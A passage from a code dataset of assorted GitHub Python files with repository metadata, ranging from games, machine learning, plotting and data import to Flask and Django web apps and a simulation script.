self.dance()\n self.finish()\n\n def update(self, deltaTime):\n if self.curAnim:\n if self.animFinished and (self.inAnims((self.curAnim[\"name\"] + \"-loop\"))):\n self.playAnim(self.curAnim[\"name\"] + \"-loop\")\n\n super().update(deltaTime)\n\n def draw(self, screen):\n super().draw(screen)\n\n def beat(self, beat):\n if self.lastHit > 0:\n if self.lastHit + Conductor.stepCrochet * self.singDuration * 1.1 <= pg.mixer.music.get_pos():\n self.dance()\n self.lastHit = 0\n elif beat % self.danceSpeed == 0:\n self.dance(self.danceSpeed < 2)\n\n def playAnim(self, anim, force=False, frame=1):\n super().play(anim, force, frame)\n\n if anim in self.animOffsets:\n self.offset = self.animOffsets[anim]\n else:\n self.offset = (0, 0)\n\n def sing(self, dir, miss=False, hold=False):\n if not self.staticHoldAnimation or not hold or self.lastSing != dir or self.lastSing == None or self.lastMiss != miss or self.lastMiss == None:\n anim = \"sing\" + Note.Note.directions[dir].upper()\n if miss: anim += \"miss\"\n self.playAnim(anim, True)\n \n self.lastSing = dir\n self.lastMiss = miss\n \n self.lastHit = pg.mixer.music.get_pos()\n \n def dance(self, force=None):\n # does __animations exist?\n if self.animationsExist:\n self.lastSing = None\n #if \"danceLeft\" in self.__animations and \"danceRight\" in self.__animations:\n if self.inAnims(\"danceLeft\", \"danceRight\"):\n self.danced = not self.danced\n\n if self.danced:\n self.playAnim(\"danceRight\", force)\n else:\n self.playAnim(\"danceLeft\", force)\n elif self.inAnims(\"idle\"):\n self.playAnim(\"idle\", force)\n\n def addOffset(self, anim, x=0,y=0):\n self.animOffsets[anim] = (-x, -y)\n\n\n","repo_name":"GuglioIsStupid/FnfPython","sub_path":"modules/Character.py","file_name":"Character.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32892976776","text":"import numpy as np\nfrom sklearn.datasets import load_iris\nfrom sklearn.utils import shuffle\nimport tensorflow as tf\n\niris = load_iris()\n\ninitializer = tf.keras.initializers.Zeros()\nmodel = tf.keras.models.Sequential([ \n tf.keras.layers.Dense(10, activation='linear', kernel_initializer = initializer), \n tf.keras.layers.Dense(5, activation='relu', kernel_initializer = initializer),\n tf.keras.layers.Dense(3, activation='sigmoid', kernel_initializer = initializer) \n])\n\nmodel.compile(optimizer='sgd',\n loss= tf.keras.losses.mean_squared_error,\n metrics=['mse'])\n\nX = iris.data \nY = iris.target \nX, Y = shuffle(X, Y)\nXtrain = X[:130, :]\nYtrain = Y[:130]\nYtrain = tf.keras.utils.to_categorical(Ytrain)\nprint(Ytrain.shape)\nmodel.fit(Xtrain, Ytrain, batch_size = 1, epochs = 10, verbose = 1) \n\nXtest = X[130:, :]\nYtest = Y[130:]\nYtest = tf.keras.utils.to_categorical(Ytest)\nmodel.evaluate(Xtest, Ytest, verbose=0)\n","repo_name":"jameschengcs/ml","sub_path":"tf2_ANN_iris.py","file_name":"tf2_ANN_iris.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"42350640178","text":"import matplotlib.pyplot as plt\n\nvalues = range(1,1001)\nsquares =[i**2 for i in values]\n\nplt.style.use(\"ggplot\")\n\nfig, ax = plt.subplots()\n\n\n# Create a dot at x,y where x=values and y=squares\nax.scatter(values, squares, c=squares,cmap=plt.cm.Blues, s=10)\nax.axis([0, 1100, 0,1100000])\n\n#Set chart title and label axes.\nax.set_title(\"Square Numbers\", fontsize=20)\nax.set_xlabel(\"Value\", fontsize=14)\nax.set_ylabel(\"Square of Values\", fontsize=14)\n\nplt.savefig('squares_plot.png', bbox_inches=\"tight\")\n# plt.show()\n","repo_name":"ScrewUcaptain/DataVisualization","sub_path":"scatter_squares.py","file_name":"scatter_squares.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28042659297","text":"\"\"\"\nЗадача 2\nДля списка реализовать обмен значений соседних элементов, т.е. Значениями обмениваются элементы с индексами 0 и 1, 2 и 3\nи т.д. При нечетном количестве элементов последний сохранить на своем месте. Для заполнения списка элементов необходимо\nиспользовать функцию input().\n\"\"\"\n\n\ndef main():\n original = list()\n while True:\n original.append(input('Enter something: '))\n while True:\n append_more = input('Do you want to append more elements? (y/n): ')\n if append_more in ['y', 'n']:\n break\n if append_more == 'n':\n break\n processed = list()\n print('Original list:')\n for idx, cur in enumerate(original):\n print(f'{idx}. {cur}')\n if idx > 0 and idx % 2 > 0:\n prev = original[idx-1]\n processed.extend([cur, prev])\n if idx == len(original)-1:\n processed.append(cur)\n print('Processed list:')\n for idx, item in enumerate(processed):\n print(f'{idx}. {item}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gmahatkov/geekbrains-py-basics","sub_path":"les_2/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5177898856","text":"import os\nimport geopandas as gpd\nimport pandas as pd\nimport numpy as np\nimport glob\n\n#boundary = gpd.read_file('boundary_msoa.geojson')\n#print(len(boundary))\n#print(boundary.columns)\n#print(len(list(set(list(boundary['MSOAName'])))))\n#print((list(set(list(boundary['CityName'])))))\n\n\nimgs_all = pd.DataFrame()\nf_list = glob.glob('tilefile_zl19_scd_geoloc/*.csv')\nfor f in f_list:\n f_img_list = pd.read_csv(f)\n #print(len(f_img_list))\n f_img_list.drop_duplicates(subset = ['img_name'], keep = 'last', inplace = True)\n #print(len(f_img_list))\n #print(f_img_list.columns)\n city_name = f.split('/')[-1].split('.')[0]\n print(city_name)\n\n boundary = gpd.read_file('cbg_in_city_new/'+city_name+'_cbgs.geojson') # 2014-2019\n #imgs_all = pd.concat([imgs_all,f_img_list],axis = 0)\n imgs_all = f_img_list\n print(len(imgs_all))\n print(imgs_all.columns)\n\n points = gpd.GeoDataFrame(imgs_all, geometry=gpd.points_from_xy(imgs_all.lng_c, imgs_all.lat_c)) #longitude, latitude\n points.crs = 'EPSG:4326'\n points_with_boundary = gpd.sjoin(boundary,points,how=\"inner\", op='contains')\n points_with_boundary[['CensusBlockGroup','State','County','y_tile','x_tile','lng_c','lat_c','img_name']].to_csv('imgs_within_cbg/imgs_within_cbgs_'+city_name+'.csv', index = False)\n print(points_with_boundary.columns)\n print(len(points_with_boundary))\n\n\n\"\"\"\nf_list = glob.glob('imgs_within_cbg/*.csv')\nfor f in f_list:\n df = pd.read_csv(f)\n df[['CensusBlockGroup','State','County','y_tile','x_list','lng_c','lat_c','img_name']].to_csv(f, index=False)\n\"\"\"\n\n","repo_name":"axin1301/Satellite-imagery-dataset","sub_path":"Satellite_Imagery_and_Visual_Attributes/satellite_imagery_collection/image_to_geoloc_spatial_join_cbg.py","file_name":"image_to_geoloc_spatial_join_cbg.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"38621283361","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport scikitplot as skplt\nfrom sklearn.ensemble import GradientBoostingRegressor, RandomForestClassifier\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import (\n r2_score, accuracy_score, precision_score, recall_score, confusion_matrix, classification_report\n)\nfrom sklearn.model_selection import train_test_split, GridSearchCV\n\nPOSSIBLE_COLUMNS = ['HF',\n 'HF_BOXCOX',\n 'HF_LF',\n 'HF_LOG',\n 'HF_NU',\n 'HF_PCT',\n 'HF_VLF',\n 'HR',\n 'HR_HF',\n 'HR_LF',\n 'HR_SQRT',\n 'KURT',\n 'KURT_REL_RR',\n 'KURT_SQUARE',\n 'KURT_YEO_JONSON',\n 'LF',\n 'LF_BOXCOX',\n 'LF_HF',\n 'LF_HF_LOG',\n 'LF_LOG',\n 'LF_NU',\n 'LF_PCT',\n 'MEAN_REL_RR',\n 'MEAN_REL_RR_YEO_JONSON',\n 'MEAN_RR',\n 'MEAN_RR_LOG',\n 'MEAN_RR_MEAN_MEAN_REL_RR',\n 'MEAN_RR_SQRT',\n 'MEDIAN_REL_RR',\n 'MEDIAN_REL_RR_LOG',\n 'MEDIAN_RR',\n 'RMSSD',\n 'RMSSD_LOG',\n 'RMSSD_SQUARED',\n 'RMSSD_REL_RR',\n 'RMSSD_REL_RR_LOG',\n 'SD1',\n 'SD1_BOXCOX',\n 'SD1_LOG',\n 'SD2',\n 'SD2_LF',\n 'SDRR',\n 'SDRR_REL_RR',\n 'SDRR_RMSSD',\n 'SDRR_RMSSD_LOG',\n 'SDRR_RMSSD_REL_RR',\n 'SDSD',\n 'SDSD_REL_RR',\n 'SDSD_REL_RR_LOG',\n 'SKEW',\n 'SKEW_REL_RR',\n 'SKEW_REL_RR_YEO_JONSON',\n 'SKEW_YEO_JONSON',\n 'TP',\n 'TP_LOG',\n 'TP_SQRT',\n 'VLF',\n 'VLF_LOG',\n 'VLF_PCT',\n 'higuci',\n 'pNN25',\n 'pNN25_LOG',\n 'pNN50',\n 'pNN50_LOG',\n 'sampen',\n 'NasaTLX Label']\n\n# Top 31 Features were kept\nCOLUMNS_TO_KEEP = ['RMSSD',\n 'SDRR_REL_RR',\n 'SD2_LF',\n 'SD1_LOG',\n 'SDSD',\n 'SDRR',\n 'HR_SQRT',\n 'LF_PCT',\n 'SD2',\n 'HF_LOG',\n 'HR',\n 'SDRR_RMSSD_LOG',\n 'SDRR_RMSSD',\n 'VLF_PCT',\n 'HF_PCT',\n 'higuci',\n 'MEDIAN_RR',\n 'HF',\n 'MEAN_RR_SQRT',\n 'MEAN_RR',\n 'HF_VLF',\n 'MEAN_RR_LOG',\n 'HF_BOXCOX',\n 'RMSSD_REL_RR',\n 'SDSD_REL_RR_LOG',\n 'HR_HF',\n 'RMSSD_REL_RR_LOG',\n 'SDSD_REL_RR',\n 'SDRR_RMSSD_REL_RR',\n 'SD1_BOXCOX',\n 'LF_BOXCOX',\n 'NasaTLX Label']\n\nRF_GRID = {'n_estimators': [100, 250], 'max_depth': [2, 3]}\n\ndef random_included_and_excluded_df(df, total_excluded=5):\n random_subject_ids = np.random.choice(df['subject_id'].unique(), total_excluded, replace=False)\n print(random_subject_ids)\n excluded_df = df[df['subject_id'].isin(\n random_subject_ids)]\n included_df = df[~df['subject_id'].isin(\n random_subject_ids)]\n return included_df, excluded_df\n\n# NasaTLX label is low, medium, high which is the mapping done in the study\ndef rf_for_subject_subset(included_df):\n X = included_df[COLUMNS_TO_KEEP].drop(columns='NasaTLX Label')\n X = StandardScaler().fit_transform(X)\n y = included_df['NasaTLX Label'].values\n X_train, X_test, y_train, y_test = train_test_split(X, y)\n clf = GridSearchCV(RandomForestClassifier(), RF_GRID)\n clf.fit(X_train, y_train)\n print(f'Accuracy Score for Included Subset: {accuracy_score(y_test, clf.predict(X_test))}')\n return clf, X_train, X_test, y_train, y_test\n\ndef test_rf_on_excluded_subset(clf, excluded_df):\n X_test = excluded_df[COLUMNS_TO_KEEP].drop(columns='NasaTLX Label')\n X_test = StandardScaler().fit_transform(X_test)\n y_test = excluded_df['NasaTLX Label'].values\n print(f'Accuracy Score for Excluded Subset without Calibration: {accuracy_score(y_test, clf.predict(X_test))}')\n\ndef combined_included_excluded_without_calibration(included_df, excluded_df):\n clf = rf_for_subject_subset(included_df)[0]\n test_rf_on_excluded_subset(clf, excluded_df)\n\n# Default sample set to around 6.25% of data\n# This is not a great method to calibrate given sampled datapoints will be correlated with excluded datapoints\n# Ideally this should be done with fresh data points through a cycle of scenarios early in the prediction process\ndef calibrated_rf_with_sample_of_excluded_subset(included_df, excluded_df, samples_per_subject=1000):\n for i in excluded_df['subject_id'].unique():\n random_sample = excluded_df[excluded_df['subject_id'] == i].sample(n=samples_per_subject)\n included_df = pd.concat([included_df, random_sample])\n # remove random sample from excluded subset\n excluded_df.drop(random_sample.index, inplace=True)\n\n calibrated_rf = rf_for_subject_subset(included_df)[0]\n X_test = excluded_df[COLUMNS_TO_KEEP].drop(columns='NasaTLX Label')\n X_test = StandardScaler().fit_transform(X_test)\n y_test = excluded_df['NasaTLX Label'].values\n print(\n f'Accuracy Score for Excluded Subset with Calibrated RF: {accuracy_score(y_test, calibrated_rf.predict(X_test))}')\n return calibrated_rf\n\ndef rf_predictions_for_each_subject(df):\n predictions = []\n for i in df['subject_id'].unique():\n subject_df = df[df['subject_id'] == i]\n X = subject_df\n X = X[COLUMNS_TO_KEEP]\n X = StandardScaler().fit_transform(X)\n y = subject_df['NasaTLX Label'].values\n X_train, X_test, y_train, y_test = train_test_split(X, y)\n clf = GridSearchCV(RandomForestClassifier(), RF_GRID)\n clf.fit(X_train, y_train)\n predictions.append(clf.predict(X_test))\n print(f'Accuracy Score for Included Subject {i}: {accuracy_score(y_test, clf.predict(X_test))}')\n return predictions","repo_name":"SachinGokal/capstone-two","sub_path":"src/rf_helpers.py","file_name":"rf_helpers.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4004066096","text":"import multiprocessing as mp\nimport sys\nimport re\nimport couchdb\nimport os\nimport xml.etree.ElementTree as ET\nBATCH_SIZE = 10000\nSMALL_BATCH_SIZE = 5000\n\ndbName = 'test'\n\ndef parseLink(link):\n return {\n '_id' : 'L_' + link.attrib['ID'],\n 'ID1' : link.attrib['O1-ID'],\n 'ID2' : link.attrib['O2-ID'],\n }\n\ndef sendLinks(LINKS, db):\n links = [parseLink(link) for link in LINKS]\n for i in range(len(links))[::BATCH_SIZE]:\n db.update(links[i:i+BATCH_SIZE])\n\ndef parseObject(obj):\n return {\n '_id' : 'O_' + obj.attrib['ID']\n }\n\ndef sendObjects(OBJECTS, db):\n objs = [parseObject(obj) for obj in OBJECTS]\n for i in range(len(objs))[::BATCH_SIZE]:\n db.update(objs[i:i+BATCH_SIZE])\n\ndef sendAttributes(ATTRIB, db):\n newKey = ATTRIB.attrib['NAME']\n itemType = ATTRIB.attrib['ITEM-TYPE']\n idDict = {itemType[0] + '_' + attr.attrib['ITEM-ID'] : \n attr.find('COL-VALUE').text\n for attr in ATTRIB}\n idList = list(idDict.keys())\n for i in range(len(idList))[::SMALL_BATCH_SIZE]:\n batchDocs = db.view('_all_docs', \n keys=idList[i:i+SMALL_BATCH_SIZE],\n include_docs=True)\n for row in list(batchDocs.rows):\n row['doc'][newKey] = idDict[row.id]\n db.update([row['doc'] for row in batchDocs.rows])\n\ndef parseFile(filename):\n s = couchdb.Server()\n try:\n db = s[dbName]\n except:\n print(\"Failure to connect! Aborting.\")\n print(\"Parsing\", filename)\n tree = ET.parse(filename)\n root = tree.getroot()\n\n if root.find('LINKS'):\n sendLinks(root.find('LINKS'), db)\n\n elif root.find('OBJECTS'):\n sendObjects(root.find('OBJECTS'), db)\n\n else:\n sendAttributes(root[0][0], db)\n\nif __name__ == '__main__':\n server = couchdb.Server()\n try:\n server.create(dbName)\n except:\n try:\n s = server[dbName]\n except:\n print(\"Unable to connect to couchdb. Try starting it?\")\n exit()\n\n if '-d' in sys.argv:\n filenames = [f for f in os.listdir('splitXML') \n if re.match(r'title7', f)]\n elif '-o' in sys.argv:\n filenames = [f for f in os.listdir('splitXML')\n if re.match(r'^[A-Z].*.xml$', f)]\n elif '-a' in sys.argv:\n filenames = [f for f in os.listdir('splitXML')\n if re.match(r'^[a-z].*.xml$', f)]\n elif '-l' in sys.argv:\n filenames = ['link-type1.xml']\n elif '--just-objects' in sys.argv:\n filenames = [f for f in os.listdir('splitXML')\n if re.match(r'^OBJECTS.*.xml$', f)]\n elif '--just-object-type' in sys.argv:\n filenames = [f for f in os.listdir('splitXML')\n if re.match(r'^object-type.*.xml$', f)]\n elif '--one-file' in sys.argv:\n filenames = [sys.argv[-1]]\n\n elif '--just-views' in sys.argv:\n filenames = []\n \n else:\n filenames = sorted(os.listdir('splitXML'))\n\n objectFiles = ['splitXML/' + f for f in filenames if re.match(r'[A-Z].*xml$', f)]\n attrFiles = ['splitXML/' + f for f in filenames if re.match(r'[a-z].*xml$', f)]\n\n for f in objectFiles:\n while True:\n try:\n parseFile(f)\n break\n except:\n print(\"Failure when sending {0}. Retrying...\".format(f))\n\n\n for f in attrFiles:\n while True:\n try:\n parseFile(f)\n break\n except:\n print(\"Failure when sending {0}. Retrying...\".format(f))\n\n print(\"Creating views...\")\n\n views = {'views': \n {'count_objects': \n {'reduce': '_count', \n 'map': \"function (doc) {\\n if(doc['object-type'])\" +\n \"{\\n emit(doc._id, 1);\\n }\\n}\"\n }, \n 'count_all': \n {'reduce': '_count', \n 'map': 'function (doc) {\\n emit(doc._id, 1);\\n}'\n }, \n 'count_links': \n {'reduce': '_count',\n 'map': \"function (doc) {\\n if(doc['link-type'])\" +\n \"{\\n emit(doc._id, 1);\\n }\\n}\"\n }, \n 'find_no_link_type': \n {'map': \"function (doc) {\" +\n \"\\n if(doc._id[0] == 'L' && !doc['link-type'])\" +\n \"{\\n emit(doc._id, doc);\\n }\\n}\"\n }\n }, \n 'language': 'javascript'\n }\n server[dbName]['_design/counter'] = views\n","repo_name":"mbottini/couch-sender","sub_path":"sendcouch.py","file_name":"sendcouch.py","file_ext":"py","file_size_in_byte":4712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6508937676","text":"from data_importers.management.commands import BaseXpressDemocracyClubCsvImporter\n\n\nclass Command(BaseXpressDemocracyClubCsvImporter):\n council_id = \"BOS\"\n addresses_name = (\n \"2023-05-04/2023-04-11T13:09:30.661328/Democracy_Club__04May2023.tsv\"\n )\n stations_name = (\n \"2023-05-04/2023-04-11T13:09:30.661328/Democracy_Club__04May2023.tsv\"\n )\n elections = [\"2023-05-04\"]\n csv_delimiter = \"\\t\"\n\n def address_record_to_dict(self, record):\n uprn = record.property_urn.strip().lstrip(\"0\")\n\n if uprn in [\n \"200004520294\", # THE HERMITAGE, WALLS LANE, BARLBOROUGH, CHESTERFIELD\n \"10013072329\", # 1 BOWDEN COURT, CLOWNE\n \"100030071192\", # SOUTHFIELD LODGE, BAKESTONE MOOR, WHITWELL, WORKSOP\n \"200004511872\", # 31 OXCROFT LANE, OXCROFT, CHESTERFIELD\n \"10034144937\", # NEWTON WOOD FARM, NEWTON, ALFRETON\n \"100032019011\", # SCHOOL HOUSE, CHURCH HILL, BLACKWELL, ALFRETON\n \"10013073817\", # 31B CHURCH STREET, SOUTH NORMANTON\n \"200002768236\", # GRANGE FARM, BIRCHWOOD LANE, SOUTH NORMANTON, ALFRETON\n \"200004511974\", # 32 OXCROFT LANE, OXCROFT, CHESTERFIELD\n \"200004511975\", # 33 OXCROFT LANE, OXCROFT, CHESTERFIELD\n \"200004520437\", # DAMSBROOK FARM COTTAGE, OXCROFT ESTATE, MANSFIELD ROAD, OXCROFT, WORKSOP\n ]:\n return None\n\n return super().address_record_to_dict(record)\n\n def station_record_to_dict(self, record):\n # Mobile Unit, Whaley Common Adjacent Henton Memorial Hall, Whaley Common, Langwith, Mansfield\n if record.polling_place_id == \"4879\":\n record = record._replace(polling_place_postcode=\"NG20 9HU\")\n\n # Whaley Thorns and Langwith Village Hall, Portland Road, Langwith, Mansfield, NG20 9EZ\n if record.polling_place_id == \"4907\":\n record = record._replace(\n polling_place_easting=\"453287\",\n polling_place_northing=\"371077\",\n )\n\n # Bolsover Parish Rooms, Hornscroft Road, Bolsover, Chesterfield, S44 6HG\n if record.polling_place_id == \"4876\":\n record = record._replace(\n polling_place_easting=\"447491\",\n polling_place_northing=\"370263\",\n )\n\n return super().station_record_to_dict(record)\n","repo_name":"DemocracyClub/UK-Polling-Stations","sub_path":"polling_stations/apps/data_importers/management/commands/import_bolsover.py","file_name":"import_bolsover.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"22814967098","text":"from django.conf.urls import patterns,url\nfrom polls import views\n\nurlpatterns = patterns('',\n url(r'^$', views.index, name='index'),\n url(r'^(?P\\d+)/$', views.detail, name='detail'),\n url(r'^(?P\\d+)/results/$', views.results, name='results'),\n url(r'^(?P\\d+)/vote/$', views.vote, name='vote'),\n url(r'^(?P\\d+)/vote_given/$', views.vote_given, name='vote_given'),\n url(r'^reopen/$', views.reopen, name='reopen'),\n url(r'^vote_randomly/$', views.vote_randomly, name='vote_randomly'),\n)\n","repo_name":"saurabh-hirani/django_test_apps","sub_path":"test_apps/polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20089905641","text":"import sys\nimport bisect\ninput = sys.stdin.readline\n\nN = int(input())\narr = list(map(int, input().split()))\n\n# lis_asc = [arr[0]]\n# lis_des = [arr[0]]\n\n# def bisect_right(arr, val):\n# left, right = 0, len(arr) - 1\n# answer = 0\n# while left <= right:\n# mid = (left + right) // 2\n# if arr[mid] < val:\n# right = mid - 1\n# answer = mid\n# else:\n# left = mid + 1\n# return answer\n\n# # print(bisect_right([4,3,2,2,1], 2))\n# # print(bisect.bisect_right([1,2,3,3,4], 3))\n# for i in range(1, N):\n# if lis_asc[-1] <= arr[i]:\n# lis_asc.append(arr[i])\n# else:\n# j = bisect.bisect_right(lis_asc, arr[i])\n# lis_asc[j] = arr[i]\n# if lis_des[-1] >= arr[i]:\n# lis_des.append(arr[i])\n# else:\n# j = bisect_right(lis_des, arr[i])\n# lis_des[j] = arr[j]\n# print(lis_asc, lis_des)\n# print(len(lis_asc) if len(lis_asc) > len(lis_des) else len(lis_des))\n\nasc = [arr[0]]\ndes = [arr[0]]\nanswer = 0\nfor i in range(1, N):\n if len(asc) == 0 or asc[-1] <= arr[i]:\n asc.append(arr[i])\n else:\n answer = max(answer, len(asc))\n asc = [arr[i]]\n if len(des) == 0 or des[-1] >= arr[i]:\n des.append(arr[i])\n else:\n answer = max(answer, len(des))\n des = [arr[i]]\n print(asc, des)\nanswer = max(len(asc), len(des), answer)\nprint(asc, des)\nprint(answer)","repo_name":"alibreo3754/Study_Algorithm","sub_path":"Python/backjoon/silver/2491.py","file_name":"2491.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31208076447","text":"#Problem 2: pythagorean numbers\r\n#Alex Chaban\r\n#Prof. Ionut Cardei\r\n#COP4045-001\r\n#Due: 1/22/23\r\n\r\n#imports\r\nimport pylab as pl\r\nimport math\r\n\r\ndef find_Pythagorean(n):\r\n n = int(n)\r\n #makes a,b,c and list\r\n combos = []\r\n a = 1\r\n b = 1\r\n c = 1\r\n #this took me 45 minutes to figure out an algorithm and it's just brute force with some tweaks\r\n print(\"List of Pythagorean Triples\")\r\n while (a <= n+1):\r\n while (b <= n+1):\r\n while (c <= n+1):\r\n if a ** 2 + b ** 2 == c ** 2:\r\n tempTuple = (a, b, c) #makes a tuple\r\n combos.append(tempTuple) #appends it\r\n c += 1\r\n c = 1\r\n b += 1\r\n b = 1\r\n a += 1\r\n #print (type(combos[0])) #this is to check returns type tuple\r\n print (combos)\r\n\r\nprint(\"Press CTRL-Z or ENTER to exit the program.\")\r\nwhile True:\r\n n = input(\"Please enter n: \") #asks input\r\n if n == \"\": #two checks: one for the exit condition and a number condition\r\n exit()\r\n elif n.isnumeric() == False or int(n) == 0:\r\n print(\"Please enter a non-zero positive number.\")\r\n else:\r\n find_Pythagorean(n)","repo_name":"alexsocial/PythonCourse","sub_path":"PyLabPythagorean.py","file_name":"PyLabPythagorean.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24144211833","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport xml.etree.ElementTree as etree\n\nfrom ..internal.Hoster import Hoster\n\n\n# Based on zdfm by Roland Beermann (http://github.com/enkore/zdfm/)\nclass ZDF(Hoster):\n __name__ = \"ZDF Mediathek\"\n __type__ = \"hoster\"\n __version__ = \"0.89\"\n __status__ = \"testing\"\n\n __pattern__ = r'http://(?:www\\.)?zdf\\.de/ZDFmediathek/\\D*(\\d+)\\D*'\n __config__ = [(\"activated\", \"bool\", \"Activated\", True)]\n\n __description__ = \"\"\"ZDF.de hoster plugin\"\"\"\n __license__ = \"GPLv3\"\n __authors__ = []\n\n XML_API = \"http://www.zdf.de/ZDFmediathek/xmlservice/web/beitragsDetails?id=%i\"\n\n @staticmethod\n def video_key(video):\n return (\n int(video.findtext(\"videoBitrate\", \"0\")),\n any(f.text == \"progressive\" for f in video.iter(\"facet\")),\n )\n\n @staticmethod\n def video_valid(video):\n return video.findtext(\"url\").startswith(\"http\") and video.findtext(\"url\").endswith(\".mp4\") and \\\n video.findtext(\"facets/facet\").startswith(\"progressive\")\n\n @staticmethod\n def get_id(url):\n return int(re.search(r'\\D*(\\d{4,})\\D*', url).group(1))\n\n def process(self, pyfile):\n xml = etree.fromstring(\n self.load(\n self.XML_API %\n self.get_id(\n pyfile.url),\n decode=False))\n\n status = xml.findtext(\"./status/statuscode\")\n if status != \"ok\":\n self.fail(_(\"Error retrieving manifest\"))\n\n video = xml.find(\"video\")\n title = video.findtext(\"information/title\")\n\n pyfile.name = title.encode('ascii', errors='replace')\n\n target_url = sorted((v for v in video.iter(\"formitaet\") if self.video_valid(v)),\n key=self.video_key)[-1].findtext(\"url\")\n\n self.download(target_url)\n","repo_name":"thispc/download-manager","sub_path":"module/plugins/hoster/ZDF.py","file_name":"ZDF.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"43813405753","text":"from flask import Flask, render_template, request, redirect, url_for\r\nimport db\r\nfrom models import Tarea\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route(\"/\")\r\ndef home():\r\n todas_las_tareas = db.session.query(Tarea).all()\r\n categorias = db.session.query(Tarea.categoria.distinct().label(\"categoria\")).all()\r\n tareas_listadas = [] # Group_by me devuelve como si solo pidiera el primero\r\n for categoria in categorias:\r\n categoria = categoria.categoria\r\n lista_aux = []\r\n for tarea in todas_las_tareas:\r\n if tarea.categoria == categoria:\r\n lista_aux.append(tarea)\r\n\r\n else:\r\n tareas_listadas.append(lista_aux)\r\n return render_template(\"index.html\", lista_de_tareas=tareas_listadas)\r\n\r\n\r\n@app.route(\"/crear-tarea\", methods=[\"post\"])\r\ndef crear():\r\n tarea = Tarea(contenido=request.form[\"contenido_tarea\"], hecha=False, fecha=request.form[\"fecha_tarea\"], categoria=request.form[\"categoria_tarea\"])\r\n db.session.add(tarea)\r\n db.session.commit()\r\n db.session.close()\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\n@app.route(\"/eliminar-tarea/\")\r\ndef eliminar(id):\r\n elim = db.session.query(Tarea).filter_by(id=id).delete()\r\n db.session.commit() # Ejecutamos los cambios\r\n db.session.close()\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\n@app.route(\"/tarea-hecha/\")\r\ndef hecha(id):\r\n echa = db.session.query(Tarea).filter_by(id=id).first()\r\n echa.hecha = not echa.hecha\r\n db.session.commit() # Ejecutamos los cambios\r\n db.session.close()\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\n@app.route(\"/editar-tarea/\")\r\ndef editar(id):\r\n modificado = db.session.query(Tarea).filter_by(id=id).first()\r\n return render_template(\"editar.html\", editado=modificado)\r\n\r\n\r\n@app.route(\"/guardar-edicion/\", methods=[\"post\"])\r\ndef guardar(id):\r\n update = db.session.query(Tarea).filter_by(id=id).first()\r\n update.contenido = request.form[\"contenido_tarea\"]\r\n update.categoria = request.form[\"categoria_tarea\"]\r\n update.fecha = request.form[\"fecha_tarea\"]\r\n db.session.commit() # Ejecutamos los cambios\r\n db.session.close()\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n db.Base.metadata.create_all(db.engine)\r\n app.run(debug=True)\r\n","repo_name":"Danrodlag/Proyecto-web-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35468213451","text":"from flask import Flask, render_template, request\n# Data from backend to frontend\napp = Flask(__name__)\n@app.route(\"/\")\ndef home():\n first_name = input(\"Enter your name!\")\n \n return render_template(\"home.html\",data = {\"first_name\":first_name})\n\n@app.route(\"/about\", methods=[\"GET\",\"POST\"])\ndef about():\n\n if request.method==\"POST\":\n num1=int(request.form['Num1'])\n num2=int(request.form['Num2'])\n \n result=num1 + num2\n\n last_name=input(\"Enter your last name\")\n \n return render_template(\"about.html\", result={\"result\":result})\n\n@app.route(\"/Contact\")\ndef ContactUs():\n contact=input(\"Enter Your Contact please!\")\n return render_template(\"Contact.html\",data2={\"contact\":contact})\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"DataXplorerFY/first_flas_app2","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41440239269","text":"# Following code implements simuation of motion of\n# two hydrodynamically interacting brownian spheres conneced\n# with a harmonic spring\n\nimport pychastic # solving sde\nimport pygrpy.jax_grpy_tensors # hydrodynamic interactions\nimport jax.numpy as jnp # jax array operations\nimport jax # taking gradients\nimport matplotlib.pyplot as plt # plotting\n\nradii = jnp.array([1.0,0.2]) # sizes of spheres we're using\ndef u_ene(x): 